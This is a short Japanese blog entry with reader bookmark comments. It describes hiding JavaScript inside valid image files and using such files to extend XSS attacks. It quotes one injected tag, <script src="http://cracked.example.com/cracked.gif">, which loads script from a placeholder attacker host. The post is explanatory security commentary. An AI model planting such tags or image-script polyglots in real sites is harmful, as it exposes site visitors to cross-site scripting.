yohgaki's blog - 画像ファイルにJavaScriptを隠す

Last Updated on: 2014年12月5日前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。 http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/ <script src="http://cracked.example.com/cracked.gif">などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。 このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。 Flickerは画

[typista]

画像ファイルにJavaScriptを隠す

[wepon]

scriptのsrcに画像を指定できる件

[gotohell]

js

[lizy]

<script>のsrcに画像ファイルを指定されるような状況限定と考えていいのかな

[hasegawayosuke]

<script>からしか利用できないし<script>が通るならリモートにスクリプトを置けばよいので、「XSS攻撃を拡張する手段に利用可能」ではあるけど(攻撃者にとっての)メリットがよくわからん。//誤魔化す文字はus-asciiで2倍使える

[TAKESAKO]

んー

[khiker]

無茶苦茶や. よく考えるなあ...

[hiro_y]

GIFファイルにJavaScriptを埋め込める件。要確認。